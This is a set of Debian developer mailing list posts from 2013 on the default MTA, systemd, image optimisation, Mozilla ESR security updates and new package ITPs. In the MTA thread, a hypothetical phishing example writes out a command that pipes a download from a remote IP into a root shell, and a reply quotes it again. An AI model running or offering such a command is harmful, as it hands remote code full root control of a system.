Re: default MTA

2013-05-29 Thread Chris Knadle
On Tuesday, May 28, 2013 19:32:08, Carlos Alberto Lopez Perez wrote:
 On 28/05/13 18:53, Don Armstrong wrote:
  On Tue, 28 May 2013, Arno Töll wrote:
  Why not consider something light, better suited for most systems which
  need nothing but a sendmail binary which is suited to relay to a
  real(tm) mail-server and deliver local mail and does not involve lots
  of configuration and/or listening ports?
  
  nullmailer or similar can do this fairly well. You really only need to
  have 1) configured the remote smart host 2) a remote e-mail address to
  send all local mail to.
 
 We already (I believe) ship exim4-daemon-light as default MTA. I don't
 know how much lighter are the alternatives like dma or nullmailer.
 
 I tried both, and I ended going back to exim4-daemon-light because of
 the problems I had with them (#686164 #697871 and #329192).

Similarly, a while back I tried using the ssmtp package (on an embedded 
system) and ran into problems because it doesn't spool messages, so any 
sending failure (such as are caused by greylisting) causes messages to get 
lost.

 So I'm not sure if is worth the effort changing the default MTA.
 
 
 Does anybody recommend any light MTA other than this ones?

The only reason I know of to run something lighter than exim4-daemon-light is 
if you need an MTA on an embedded system.  Embedded systems are a special case 
because local storage is a premium, and the local storage is likely flash 
which has limited rewrite cycles.  Even here my preferred solution here is to 
increase the local storage enough to run exim4-daemon-light, because that's 
been reliable for me.

  -- Chris

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Re: default MTA

2013-05-29 Thread Chris Knadle
On Monday, May 27, 2013 21:02:22, Marco d'Itri wrote:
 Now that we are done with systemd for the time being, can we have the
 flame war about replacing Exim with Postfix as the default MTA?
 
 Are there any objections other than but I like it this way!?

What are the reasons to make the switch?  (I think it's more important to hear 
the pro reasoning than the con reasoning.)



But to answer your question: my objections to Postfix over Exim,
off-the-top-of-my-head:

  - Exim is more popular

http://www.securityspace.com/s_survey/data/man.201201/mxsurvey.html

  - Exim has a GPL license, which is preferable IMHO.

Postfix uses the IBM Public License which places any liability on
the distributor of the software, and has some other unfortunate
clauses and is GPL incompatible.

https://en.wikipedia.org/wiki/IBM_Public_License

  - Exim configuration is more human readable than Postifx's, IMHO.

Postfix configuration is concise but terse, and there are typically
blocks of options separated by commas that doesn't easily allow
commenting on specific config options.

  - Exim logging is cleaner than Postfix's, IMHO.  Postfix seems to
redeliver mail to itself repeatedly which makes it more difficult
to grep the logs for a complete transaction.


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Re: Switching to mozilla ESR in stable-security

2013-05-29 Thread Simon McVittie
On 29/05/13 00:17, John Paul Adrian Glaubitz wrote:
 Also, if anyone of the GNOME package maintainers is reading this,
 why does the gnome meta package depend on xul-ext-adblock-plus?

For feature parity with the previous meta-gnome3 web browser, it appears:

meta-gnome3 (1:3.4+3) unstable; urgency=low
...
  * Install iceweasel instead of epiphany :(
See bug#682481.
  * Let gnome recommend iceweasel-l10n-all.
  * Drop RSS readers recommendations.
  * Require firefox extensions that match epiphany functionality:
keyring, adblock.
...
 -- Josselin Mouette j...@debian.org  Sat, 29 Sep 2012 10:36:58 +0200

Regards,
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Re: Debian systemd survey

2013-05-29 Thread Marc Haber
On Fri, 24 May 2013 09:09:32 -0700, Steve Langasek vor...@debian.org
wrote:
On Fri, May 24, 2013 at 08:40:19AM +0200, Marc Haber wrote:
 On Thu, 23 May 2013 12:50:00 -0700, Steve Langasek vor...@debian.org
 wrote:
 Also worth noting:
 
 ~/systemd$ find . -name '*.c' | grep -vE 'tests|test/|intl/|udev/' \
| xargs wc -l | tail -n1
  149081 total
 $ find . -name '*.c' | grep -vE 'tests|test/|intl/|udev/' | xargs wc -l \
   | tail -n1
  31282 total
 $

 Yep, systemd has a larger community of contributors... and weighs in at
 nearly 5 times the code base.

 Granted, those 110KLOC may save almost as much lines of code in init
 scripts.

No, this is not the case.  Upstart jobs are short, simple, and lacking in
shell boilerplate, just as systemd units are.

So you were comparing systemd to upstart? Sorry, that was not clear to
me.

Does upstart support non-linux kernels?

Grüße
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Re: Blacklists in BTS (stopping the trolls and bug machines)

2013-05-29 Thread Marc Haber
On Mon, 27 May 2013 22:22:07 +0300, Christian PERRIER
bubu...@debian.org wrote:
Quoting Ond?ej Surý (ond...@sury.org):
 You are most welcome to come, join the packaging team(s) and help triage
 those or any other bugs. (And I do mean it for real and not as sarcasm.)
 
 BTW there's around 2000 open bugs marked as moreinfo, the oldest is dated
 Sun, 29 Mar 1998 21:03:03 UTC.

While I could still manage to deal with bugs in the samba package,
bugs that were tagged moreinfo more than a few years ago have been
unilateraly closed by /me over time.

I handle those things the same way. When I tag a bug moreinfo, I set -
in the mail message - a date after which this bug will be closed if no
more info is delivered. Sometimes, usually months after this date, I
close such bugs.

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Re: Debian systemd survey

2013-05-29 Thread Marc Haber
On Sat, 25 May 2013 11:27:36 -0700, Russ Allbery r...@debian.org
wrote:
(The shading of meaning between those two options could be clearer.  I
took it as a measure of enthusiasm and personally answered I welcome
systemd in Debian because, regardless of whether it becomes the default,
I'm happy to provide systemd unit files for my packages.

Would you also be happy to test and support both systemd unit files
_and_ init scripts?

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Re: Switching to mozilla ESR in stable-security

2013-05-29 Thread Mike Hommey
On Tue, May 28, 2013 at 10:33:03PM +0200, Moritz Muehlenhoff wrote:
 Hi,
 we need to change the way security fixes are handled for Mozilla
 in stable-security. The backporting of security fixes is no
 longer sustainable resource-wise.
 
 As such, we'll switch to releasing the ESR releases of iceweasel
 and icedove in stable-security. 

and iceape.

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Re: default MTA

2013-05-29 Thread Simon McVittie
On 28/05/13 16:42, Thomas Goirand wrote:
 On 05/28/2013 08:05 PM, Simon McVittie wrote:
 I'm quite prepared to believe that *our* Unix systems - and in
 particular, servers and development machines - need an MTA, but my
 parents' laptops really shouldn't need one.
 
 Are you saying that they don't know what a mail server is, but they
 installed Debian on their own, and made the choice of Debian as well on
 their own?

I didn't say that, but as it happens, yes they've installed Debian on at
least one laptop. Without my influence it would probably have been
Ubuntu instead of Debian.

 Your parents don't read mail? That is surprising to me. In this days
 and age, everyone does.

They read mail received on a remote server (mine, their ISP's, or
Google's) via IMAP or webmail (or possibly POP3, if I hadn't advised
them not to use that). It has nothing to do with the local machine's MTA
(or lack of).

In principle I suppose Icedove could start up with a local mbox
account pre-configured... but is that really where users would/should
expect to find system notifications? I suspect we only use email as a
system-level notification mechanism because it's how Unix has always
worked. How much sense does it really make to have potentially
security-sensitive messages from the local machine, whose content you
ought to be able to trust, turn up in the same place as postcards from
the Internet?

(Writing that makes me wonder about the phishing potential of spoofing
mails from, say, apticron. To upgrade these packages, simply type:
'curl http://198.51.100.6/dist-upgrade | sudo sh'?)

 Can't you configure their system to send *you* the system
 notifications so that you can fix a problem?

I could, but for machines where it isn't really needed, life's too short
to set up the necessary TLS/SASL to get root mail off the system
without leaking its contents (and a SMTP password) to everyone on the
same coffee shop wifi. Receiving root mail isn't going to change my
advice (update packages when the system tells you to, and tell me if
things stop working), is one more non-user-visible feature to monitor
and keep working, and the majority of user-level brokenness (e.g.
browser plugins out of date, applications crashing) isn't visible at a
system level anyway.

 On 05/28/2013 08:05 PM, Simon McVittie wrote:
 Ideally, we can have a sensible default that is suitable for both
 experts and non-experts; but if we can't, then the non-experts should
 probably have priority.
 
 I'm not sure I agree with the above. I'm fine with Debian being the OS
 for the experts.

That's a shame; I think it should be for everyone (including, but
not limited to, experts).

S


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Re: default MTA

2013-05-29 Thread Lars Wirzenius
On Wed, May 29, 2013 at 08:14:58AM +0100, Simon McVittie wrote:
 On 28/05/13 16:42, Thomas Goirand wrote:
  I'm not sure I agree with the above. I'm fine with Debian being the OS
  for the experts.
 
 That's a shame; I think it should be for everyone (including, but
 not limited to, experts).

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Re: optimizing PNGs

2013-05-29 Thread Jonas Smedegaard
Quoting Bastien ROUCARIES (2013-05-28 19:05:11)
 On Mon, May 27, 2013 at 8:32 PM, Russ Allbery r...@debian.org wrote:
  Helmut Grohne hel...@subdivi.de writes:
 
  I'd like to add some bits from the doxygen point of view. 
  Documentation packages created using doxygen currently have a 
  number of issues with respect to size. Some of them are to be 
  addressed soon(TM).
 
   * Packages shipping .md5 and .map files. Even though these files 
 are small, there can be very many of them adding up to the 
 installation size for filesystems with large block sizes. These 
 files are used for incremental recreation of the documentation, 
 so they are completely useless in a binary package. A future 
 version of the doxygen package will include a dh_doxygen to aid 
 in getting rid of these files.
 
  Yes, yes, please!  That would make my life so much better for 
  several of my packages.
 
   * The embedding of jquery and files from doxygen is another story 
 with wider implications, but this is rather a small constant per 
 package, so the reduction in size is negligible.
 
  I've been replacing the copy of jquery with a symlink to the one 
  shipped in Debian and adding a dependency on that package, and some 
  quick testing didn't turn up anything that broke.  If that strategy 
  works, maybe dh_doxygen can do that as well?
 
 optimizing the svg file by removing all space and comments ?
 
 from http://petercollingridge.appspot.com/svg-editor/ we could gain
 about 20%-50% per svg file
 or this
 https://github.com/svg/svgo

We already have an SVG optimizer in the archive: python-scour

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Re: optimizing PNGs

2013-05-29 Thread Bastien ROUCARIES
On Tue, May 28, 2013 at 7:51 PM, Don Armstrong d...@debian.org wrote:
 On Tue, 28 May 2013, Bastien ROUCARIES wrote:
 optimizing the svg file by removing all space and comments ?

 svgz (or similar) will handle this far better, and retain source.
 [Though it's not clear to me if everything supports on-the-fly
 decompression of SVG images.]

not sure about svgz... On a typical svg file:
-rw-r--r-- 1 bastien bastien 452K mai   28 18:48 display-im6.svg
-rw-r--r-- 1 bastien bastien 103K mai   28 18:48 display-im6.svg.gz
-rw-r--r-- 1 bastien bastien 297K mai   29 09:42 optimised.svg
-rw-r--r-- 1 bastien bastien  81K mai   29 09:43 optimised.svg.gz
-rw-r--r-- 1 bastien bastien 289K mai   29 09:50 scour.svg
-rw-r--r-- 1 bastien bastien  90K mai   29 09:51 scour.svg.gz

Bastien



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Re: optimizing PNGs

2013-05-29 Thread Bastien ROUCARIES
On Wed, May 29, 2013 at 9:49 AM, Bastien ROUCARIES
roucaries.bast...@gmail.com wrote:
 On Tue, May 28, 2013 at 7:51 PM, Don Armstrong d...@debian.org wrote:
 On Tue, 28 May 2013, Bastien ROUCARIES wrote:
 optimizing the svg file by removing all space and comments ?

 svgz (or similar) will handle this far better, and retain source.
 [Though it's not clear to me if everything supports on-the-fly
 decompression of SVG images.]

 not sure about svgz... On a typical svg file:
 -rw-r--r-- 1 bastien bastien 452K mai   28 18:48 display-im6.svg
 -rw-r--r-- 1 bastien bastien 103K mai   28 18:48 display-im6.svg.gz
 -rw-r--r-- 1 bastien bastien 297K mai   29 09:42 optimised.svg
 -rw-r--r-- 1 bastien bastien  81K mai   29 09:43 optimised.svg.gz
 -rw-r--r-- 1 bastien bastien 289K mai   29 09:50 scour.svg
 -rw-r--r-- 1 bastien bastien  90K mai   29 09:51 scour.svg.gz

With a lossy (decimal truncation to 3) the saving are even more important:
-rw-r--r-- 1 bastien bastien 234K mai   29 09:52 scour.svg
-rw-r--r-- 1 bastien bastien  54K mai   29 09:53 scour.svg.gz

Bastien


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Re: default MTA

2013-05-29 Thread Tzafrir Cohen
On Wed, May 29, 2013 at 08:14:58AM +0100, Simon McVittie wrote:
 On 28/05/13 16:42, Thomas Goirand wrote:
  On 05/28/2013 08:05 PM, Simon McVittie wrote:
  I'm quite prepared to believe that *our* Unix systems - and in
  particular, servers and development machines - need an MTA, but my
  parents' laptops really shouldn't need one.
  
  Are you saying that they don't know what a mail server is, but they
  installed Debian on their own, and made the choice of Debian as well on
  their own?
 
 I didn't say that, but as it happens, yes they've installed Debian on at
 least one laptop. Without my influence it would probably have been
 Ubuntu instead of Debian.
 
  Your parents don't read mail? That is surprising to me. In this days
  and age, everyone does.
 
 They read mail received on a remote server (mine, their ISP's, or
 Google's) via IMAP or webmail (or possibly POP3, if I hadn't advised
 them not to use that). It has nothing to do with the local machine's MTA
 (or lack of).
 
 In principle I suppose Icedove could start up with a local mbox
 account pre-configured... but is that really where users would/should
 expect to find system notifications?

What's wrong with that?

 I suspect we only use email as a
 system-level notification mechanism because it's how Unix has always
 worked. How much sense does it really make to have potentially
 security-sensitive messages from the local machine, whose content you
 ought to be able to trust, turn up in the same place as postcards from
 the Internet?

Can you please give an example of such a message?

Which local user should not be getting it? Is it the same local user
that the standard desktop setting rely on to upgrade packages?

In which alternative notifications mechanism that message would not
reach that user?

 
 (Writing that makes me wonder about the phishing potential of spoofing
 mails from, say, apticron. To upgrade these packages, simply type:
 'curl http://198.51.100.6/dist-upgrade | sudo sh'?)

They would not land in the local mailbox.

 
  Can't you configure their system to send *you* the system
  notifications so that you can fix a problem?
 
 I could, but for machines where it isn't really needed, life's too short
 to set up the necessary TLS/SASL to get root mail off the system
 without leaking its contents (and a SMTP password) to everyone on the
 same coffee shop wifi. 

I don't follow that. If you send mail from the system one way or the
other, you send your credentials over the wire. Setting up TLS / SASL is
not complicated in postfix and should not be complicated in a
well-wrriten MTA just as it is not complicated in your desktop mail
client.

So this SHOULD NOT BE is a required feature?

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Re: default MTA

2013-05-29 Thread Thomas Goirand
On 05/29/2013 03:14 PM, Simon McVittie wrote:
 Your parents don't read mail? That is surprising to me. In this days
 and age, everyone does.
 
 They read mail received on a remote server (mine, their ISP's, or
 Google's) via IMAP or webmail (or possibly POP3, if I hadn't advised
 them not to use that). It has nothing to do with the local machine's MTA
 (or lack of).

It has everything to do with it. Just setup the mail for root to be sent
to whatever email address they use. That's it, problem solved.

 In principle I suppose Icedove could start up with a local mbox
 account pre-configured... but is that really where users would/should
 expect to find system notifications?

They should expect to receive it in their main mailbox.

 I suspect we only use email as a
 system-level notification mechanism because it's how Unix has always
 worked. How much sense does it really make to have potentially
 security-sensitive messages from the local machine, whose content you
 ought to be able to trust, turn up in the same place as postcards from
 the Internet?

If you don't like your current mail provider, and think he's not safe,
just change that provider and use something better. This has absolutely
nothing to do with the matter discussed here.

 Can't you configure their system to send *you* the system
 notifications so that you can fix a problem?
 
 I could, but for machines where it isn't really needed, life's too short
 to set up the necessary TLS/SASL to get root mail off the system
 without leaking its contents (and a SMTP password) to everyone on the
 same coffee shop wifi.

Oh ok. So the real answer: you don't really care.

Thomas


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Re: optimizing PNGs

2013-05-29 Thread Olav Vitters
On Sun, May 26, 2013 at 05:56:06PM +0200, Adam Borowski wrote:
 A while ago, someone raised the possibility of recompressing PNG files. 
 Unlike xz, this would save space not only on mirrors but also on live
 installed systems.  PNGs are nearly incompressible so this is mostly
 independent from xz.

For anything GNOME related (ftp.gnome.org), suggest to take it there so
everyone benefits. Two solutions you could do for upstreaming it:
1. Make it part of the tarball generation ('make dist')
2. One-time optimization of the png files, then committing those

What is important to me is that when someone changes the png or adds a
new one, it is saved in the most optimal version. Doing this as a one
off without a check in place will likely make cause a regression over
time.

Long term plan (for GNOME) is doing away with differences between
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Re: default MTA

2013-05-29 Thread Thibaut Paumard
Le 28/05/2013 21:51, Adam Borowski a écrit :
 On Tue, May 28, 2013 at 05:58:15PM +0200, Thibaut Paumard wrote:
 We could imagine running a simple biff applet by default in every
 desktop interface, and clicking it could trigger a simple mail reader,
 configured for local mail.
 
 Why would we multiply entities without necessity?  Desktop environments
 install mail clients by default, they just should come configured to have
 local mail among the accounts.

Hi,

This would do most of the job, indeed, but not all: you still have to
run a mailreader, which webmail-only users don't.

A dedicated, simple, read-only, local-only mail reader could tell the
user that this mailbox usually contains system warnings and point them
to where to look for help if they don't understand them.

With a dedicated package, we can also try to configure (automatically of
via debconf) local mail forwarding in case of a server installation.

But your proposal looks so much simpler that it's probably the way to go.

Kind regards, Thibaut.


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Re: default MTA

2013-05-29 Thread Thibaut Paumard
Le 28/05/2013 21:12, Tzafrir Cohen a écrit :
 On Tue, May 28, 2013 at 07:10:51PM +0200, Matthias Klumpp wrote:
 Forwarding root's mail to all users in the group users. Then using the
 standard mail clients (kmail, evolution or even mutt).
 

Hi,

1- Not every user should be permitted to read root's mail by default.
2- Why force everyone in the staff to read the same mail and delete it?

Making all people allowed to read root's mail part of the mail group
would work, but it would also enable them to read (and write) local mail
for any other user. A dedicated interface, on the other hand, can
authorize admins to read and delete root's mail without giving them too
much privileges.

Regards, Thibaut.


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Bug#710233: ITP: dleyna-core -- Utility functions for higher level dLeyna components

2013-05-29 Thread Emanuele Aina
Package: wnpp
Severity: wishlist
Owner: Emanuele Aina emanuele.a...@collabora.com

* Package name: dleyna-core
  Version : 0.0.2
  Upstream Author : dLeyna Development Group - Intel OTC
* URL : https://01.org/dleyna/
* License : LGPL-2.1
  Programming Lang: C
  Description : Utility functions for higher level dLeyna components

 dleyna-core is a library of utility functions that are used by the higher
 level dLeyna libraries that communicate with DLNA devices, e.g.,
 dleyna-server. In brief, it provides APIs for logging, error, settings and
 task management and an IPC abstraction API.
 .
 dLeyna is an umbrella project hosting a number of middleware components
 designed to make it easy for developers to integrate DLNA functionality into
 their applications.


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Bug#710235: ITP: dleyna-connector-dbus -- DBus connector module for the dLeyna services

2013-05-29 Thread Emanuele Aina
Package: wnpp
Severity: wishlist
Owner: Emanuele Aina emanuele.a...@collabora.com

* Package name: dleyna-connector-dbus
  Version : 0.0.2
  Upstream Author : dLeyna Development Group - Intel OTC
* URL : https://01.org/dleyna/
* License : LGPL-2.1
  Programming Lang: C
  Description : DBus connector module for the dLeyna services

 dleyna-connector-dbus is the loadable module providing DBus connectivity to
 the dLeyna services.
 .
 dLeyna is an umbrella project hosting a number of middleware components
 designed to make it easy for developers to integrate DLNA functionality into
 their applications.


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Re: optimizing PNGs

2013-05-29 Thread Paul Wise
On Wed, May 29, 2013 at 4:17 PM, Olav Vitters wrote:

 Long term plan (for GNOME) is doing away with differences between
 tarball contents and git repository.

Does that mean switching away from autotools?
Or not shipping configure/Makefile.in in the tarballs?

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Re: MBF: transition from texi2html to texinfo

2013-05-29 Thread Benjamin Drung
Am Dienstag, den 28.05.2013, 22:45 -0400 schrieb Ryan Kavanagh:
 On Tue, May 28, 2013 at 05:08:06PM -0700, Steve Langasek wrote:
  There have been two responses to your proposal so far, neither of
  which particularly looks to be in favor of your plan.  I don't think
  it's reasonable to proceed with a mass-bug filing on over 800 packages
  as a first step, certainly not after such a short comment period.
 
 Sorry, I was overly eager in pushing this change. Thanks Steve for being
 the tempering voice of reason.
 
 As for the package count, where did you find the additional 700+
 packages? If I'm missing something, please let me know. Of matches in
 the search[0] Paul Wise linked to, many matches are from the same
 package, or more prominently (as with e.g., festival, gcc, geiser,
 id-utils, gcl, etc.), found in the upstream build system but never
 called at build time (one can deduce this from the fact that they don't
 build-depend on texi2html). As I stated in my initial email, there are
 at most 96 packages which would require some form of change, and these
 are the packages that either build-depend (94) or depend (2) on
 texi2html.

Have you checked indirect build-dependencies on texi2html (e.g. the
package build depends on foo, which depends on texi2html)?

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Bug#710236: ITP: dleyna-renderer -- DBus service to interact with DLNA Digital Media Renderers

2013-05-29 Thread Emanuele Aina
Package: wnpp
Severity: wishlist
Owner: Emanuele Aina emanuele.a...@collabora.com

* Package name: dleyna-renderer
  Version : 0.0.2
  Upstream Author : dLeyna Development Group - Intel OTC
* URL : https://01.org/dleyna/
* License : LGPL-2.1
  Programming Lang: C
  Description : DBus service to interact with DLNA Digital Media Renderers

 dleyna-renderer is a DBus user session service that allows clients to
 discover and manipulate DLNA Digital Media Renderers (DMR).
 .
 dLeyna is an umbrella project hosting a number of middleware components
 designed to make it easy for developers to integrate DLNA functionality into
 their applications.


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Bug#710237: ITP: dleyna-server -- DBus service to interact with DLNA Digital Media Servers

2013-05-29 Thread Emanuele Aina
Package: wnpp
Severity: wishlist
Owner: Emanuele Aina emanuele.a...@collabora.com

* Package name: dleyna-server
  Version : 0.0.2
  Upstream Author : dLeyna Development Group - Intel OTC
* URL : https://01.org/dleyna/
* License : LGPL-2.1
  Programming Lang: C
  Description : DBus service to interact with DLNA Digital Media Servers

 dleyna-renderer is a DBus user session service that allows clients to
 discover and manipulate DLNA Digital Media Servers (DMS).
 .
 dLeyna is an umbrella project hosting a number of middleware components
 designed to make it easy for developers to integrate DLNA functionality into
 their applications.


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Re: default MTA

2013-05-29 Thread Salvo Tomaselli

 Forwarding root's mail to all users in the group users. Then using the
 standard mail clients (kmail, evolution or even mutt).

What is wrong with setting an alias from root to the user configured during 
installation?


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Re: optimizing PNGs

2013-05-29 Thread Игорь Пашев
2013/5/29 Paul Wise p...@debian.org:
 Does that mean switching away from autotools?
No.

 Or not shipping configure/Makefile.in in the tarballs?
No.


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Re: piuparts 0.52 (was Re: bits from the piuparts maintainers: the first million is the hardest)

2013-05-29 Thread Holger Levsen
Hi,

On Dienstag, 28. Mai 2013, Holger Levsen wrote:
 BTW, would someone appreciate wheezy-backports of piuparts?

Someone does, so piuparts 0.51~bpo70+1 is available in wheezy-bpo now (*) and 
will be updated there in future as well.


cheers,
Holger

(*) it just past NEW so will be available on the mirrors in a few hours.



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Re: X.509 and CA certificates for other purposes (i.e. the IGTF)

2013-05-29 Thread Dennis van Dok
On 25-05-13 04:04, Christoph Anton Mitterer wrote:
 On Fri, 2013-05-24 at 12:32 +0200, Dennis van Dok wrote:
 The point I'd like to raise is that the current model of CA
 certificates seems to take an all-or-nothing approach: either a CA is
 trusted (for whatever purpose) or not. For the IGTF CAs, this may not
 be the right approach.
 I don't think that's a good idea for ca-certificates either,... but I
 don't think you can really do anything against it... either the cert is
 installed in /etc/ssl or not... the problem here lies actually with the
 clients, when they don't allow you to specify another store location to
 have more fine grained possibilities...
 
 Sure there is what Kurt mentions... but I mean that doesn't make things
 really better IMHO, as it only allows to set a few roles,... not
 something like ejabberd should accept this, but apache should not, or
 does it?

No, I don't think so, the feature is quite limited that way.

 but I think it's very problematic that ca-certificates includes
 extremely untrustworthy CAs like CNNIC...

...which is included in mozilla. That discussion should be taken there
(indeed was[1]) as in Debian it was agreed we're not going to do better
than Mozilla at judging CAs[2].

1.
https://groups.google.com/forum/?fromgroups=#!topic/mozilla.dev.security.policy/F7471-CzPow[1-25-false]

2. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=647848


 Anyway... good to see you again into bringing the IGTF bundle to
 Debian :)

Thanks!

In order to move forward, I really need someone to have a look at my
package. I need to know that I'm on the right track.

Cheers,


Dennis

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Re: MBF: transition from texi2html to texinfo

2013-05-29 Thread Ryan Kavanagh
On Wed, May 29, 2013 at 11:29:07AM +0200, Benjamin Drung wrote:
 Have you checked indirect build-dependencies on texi2html (e.g. the
 package build depends on foo, which depends on texi2html)?

ryan@nu:~$ reverse-depends texi2html
Reverse-Depends
===
* translate-docformat

Packages without architectures listed are reverse-dependencies in: amd64,
armel, armhf, hurd-i386, i386, ia64, kfreebsd-amd64, kfreebsd-i386, mips,
mipsel, powerpc, s390x, sparc
ryan@nu:~$ reverse-depends -b translate-docformat
No reverse dependencies found

It looks like one of the two reverse-dependencies has disappeared. But yes,
there are no indirect build-dependencies on texi2html.

Best wishes,
Ryan

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Bug#710262: ITP: Archi -- Archi is a tool and editor to create ArchiMate models

2013-05-29 Thread Willem van den Akker
Package: wnpp
Severity: wishlist
Owner: Willem van den Akker wvdak...@wilsoft.nl

* Package name: Archi
  Version : 2.4.0
  Upstream Author : p.beauv...@dadabeatnik.com
* URL : http://archi.cetis.ac.uk/
* License: MIT
  Programming Lang: Java
  Description : Archi is a free, open source, cross-platform tool and
editor to create ArchiMate models


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Re: optimizing PNGs

2013-05-29 Thread Olav Vitters
On Wed, May 29, 2013 at 05:28:18PM +0800, Paul Wise wrote:
 On Wed, May 29, 2013 at 4:17 PM, Olav Vitters wrote:
 
  Long term plan (for GNOME) is doing away with differences between
  tarball contents and git repository.
 
 Does that mean switching away from autotools?
 Or not shipping configure/Makefile.in in the tarballs?

Basically that we do not need to create tarballs anymore because the
tarball would be the same as the git tag. At the moment various things
are done when creating a tarball:
- ./autogen.sh
- make dist

The make dist might do loads of things, add pregenerated html files, not
ship some files, turn a configure.ac into a configure, etc. Now due to
this:
- tarball process is just another way of spreading our git repositories
- tarball might differ from the git tag (Gentoo packagers usually
  complain about this)

Various tools such as 'cgit' already allow you to download a git tag as
a tarball. But just the entire idea of tarballs is inefficient, it
duplicates what is in the git repository more inefficiently. So a long
term plan is to simplify this. Obviously very complicated and we'll talk
to distributions before, etc. Only reason I mentioned this is that 'make
dist' is fine for now, but long term such a thing should be elsewhere
(something which checks repositories for errorswarningsimprovements).

So in brief: at one point (I assume very very far in future after loads
of communication) not shipping configure, only configure.ac.

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Re: MBF: transition from texi2html to texinfo

2013-05-29 Thread Thomas Preud'homme
Le mardi 28 mai 2013 16:48:50, Ryan Kavanagh a écrit :
 On Mon, May 27, 2013 at 08:28:37PM -0400, Ryan Kavanagh wrote:
  See attached for a dd-list of affected packages.
 
 On Tue, May 28, 2013 at 04:37:44PM +0200, Emilio Pozuelo Monfort wrote:
  Please attach a list of packages run through dd-list before doing the
  MBF.
 
 Sorry, I guess I forgot to actually attach the list. Let's try that
 again :)

Thomas Preud'homme robo...@celest.fr
   tcc

Thomas Preud'homme robo...@debian.org
   tcc

Fixed upstream already and I cherry-picked the patch for the next upload so -1 
:)

 
 Best wishes,
 Ryan

Best regards,

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Re: Bug#710262: ITP: Archi -- Archi is a tool and editor to create ArchiMate models

2013-05-29 Thread W. van den Akker
On Wed, 2013-05-29 at 13:49 +0200, Willem van den Akker wrote:

 Package: wnpp
 Severity: wishlist
 Owner: Willem van den Akker wvdak...@wilsoft.nl
 
 * Package name: Archi
   Version : 2.4.0
   Upstream Author : p.beauv...@dadabeatnik.com
 * URL : http://archi.cetis.ac.uk/
 * License: MIT
   Programming Lang: Java
   Description : Archi is a free, open source, cross-platform tool and
 editor to create ArchiMate models
 

Archi is targeted toward all levels of Enterprise Architects and
Enterprise Modellers. It is intended to provide a low cost to entry
(i.e. free) solution to users who may be making their first steps in the
ArchiMate language or who are looking for a cross-platform ArchiMate
modelling tool for their company or institution. Archi fulfils the needs
of most Enterprise Architects and associated stakeholders, but it can
also be regarded as an introductory ArchiMate tool for those wishing to
engage with the language before committing to a commercial solution.

 




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Re: Switching to mozilla ESR in stable-security

2013-05-29 Thread Ansgar Burchardt
Hi,

On 05/28/2013 22:33, Moritz Muehlenhoff wrote:
 As such, we'll switch to releasing the ESR releases of iceweasel
 and icedove in stable-security. 
 Reverse-deps of the older xulrunner libs have negligable security
 impact and we won't update them any further.
 
 One problematic aspect are the various xul-ext-* packages currently
 packaged. It's very likely that some of them will break with ESR17
 and ESR24 in the future.
 
 However, there's not much we can do here. We can select a narrow (!)
 set of important addons (e.g. enigmail for Icedove) that we will
 keep in sync through stable-security, but that doesn't scale for
 the full scale of Mozilla extensions currently packaged.
 
 In the future the majority of packages should thus rather be installed
 through http://addons.mozilla.org instead of Debian packages.

As mentioned on IRC, I wonder what we should do with these extentions
now and for future releases. There seem to be several options:

a) Remove most Mozilla extensions from stable/testing/unstable and
   let users install them from addons.mozilla.org.

   Important addons could stay if agreed with release and/or security
   teams, e.g. enigmail (mentioned above) or adblock (part of the
   default Debian GNOME installation).

b) Let maintainers update extensions via either -security or
   -(proposed-)updates.
   This causes additional work for the security team or the release
   team for at least coordinating updates. I wouldn't expect them to
   be able to review the changes which means a break from our current
   stable policy.

b2) like b), but only do so for jessie and remove the extensions from
   testing/unstable.

c) Let maintainers provide updated extensions via an additional
   repository (e.g. mozilla.d.n or some developer repository).

I would expect some more packages giving us similar problems in the
future: other web browsers (chromium) or web applications (owncloud?)
where we might have to provide new upstream versions that require
updating related packages (or breaking them).

With my user hat on, I would like to have (b) though I'm not sure how
much work it would be.

I don't like (c). It's too similar to (b) with a workflow easy enough
for the release/security team.

Ansgar


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Re: Switching to mozilla ESR in stable-security

2013-05-29 Thread Arno Töll
On 29.05.2013 15:15, Ansgar Burchardt wrote:
 I would expect some more packages giving us similar problems in the
 future: other web browsers (chromium) or web applications (owncloud?)
 where we might have to provide new upstream versions that require
 updating related packages (or breaking them).

+ MySQL (in particular).

There the situation is very complicated, too thanks to Oracle.

I don't know if this applies to other Oracle products, too think of
Virtualbox etc.


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Bug#710271: ITP: librdkafka -- library implementing the Apache Kafka protocol

2013-05-29 Thread Faidon Liambotis
Package: wnpp
Severity: wishlist
Owner: Faidon Liambotis parav...@debian.org

* Package name: librdkafka
  Version : 0.8.0
  Upstream Author : Magnus Edenhill mag...@edenhill.se
* URL : https://github.com/edenhill/librdkafka
* License : BSD-2-clause
  Programming Lang: C
  Description : library implementing the Apache Kafka protocol

 librdkafka is a C implementation of the Apache Kafka protocol, containing both
 Producer and Consumer support.
 .
 More information about Apache Kafka can be found at http://kafka.apache.org/


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Bug#710273: ITP: openstack-debian-images -- script to build a Debian image for OpenStack

2013-05-29 Thread Thomas Goirand
Package: wnpp
Severity: wishlist
Owner: Thomas Goirand z...@debian.org

* Package name: openstack-debian-images
  Version : 0.1
  Upstream Author : Thomas Goirand z...@debian.org
* URL : No URL...
* License : Apache-2.0
  Programming Lang: Shell script
  Description : script to build a Debian image for OpenStack

This package contains a script which is helpful for creating iamges to be
used with the OpenStack IaaS cloud software suite. It uses only tools
available within Debian.


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Re: default MTA

2013-05-29 Thread Javier Fernandez-Sanguino
On 28 May 2013 13:05, Josselin Mouette j...@debian.org wrote:
 And on desktop systems, nobody reads local email. We might want to think
 of a better notification system, but email is definitely not fit for
 that anymore.

On desktop systems nobody reads local email because IIRC the default
email client applications do not present local email to the end-user.
Only when somebody configures, post-installation, is this local e-mail
visible.

On the other hand, on system installation we currently configure which
user account e-mail to root@ is sent to (or ask the user if he selects
a low debconf priority) and some packages will setup some tasks that
send mail to the root account which the end-user does not currently
see.

I'm not saying that email is a good notification system, but there are
definitely currently many sub-systems that use it (such as cron and
default cron tasks configured through packages). Not presenting this
information to the end-user is actually hiding problems.

Regardless of what local MTA we provide, as long as we provide one,
IMHO we should try to have local email presented to the end-user in
the default installation (i.e. in the desktop).


Regardless


Javier


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Bug#710278: ITP: r-cran-gbm -- GNU R package Generalized Boosted Regression Models

2013-05-29 Thread Pablo Oliveira
Package: wnpp
Severity: wishlist
Owner: Pablo Oliveira pa...@sifflez.org

* Package name: r-cran-gbm
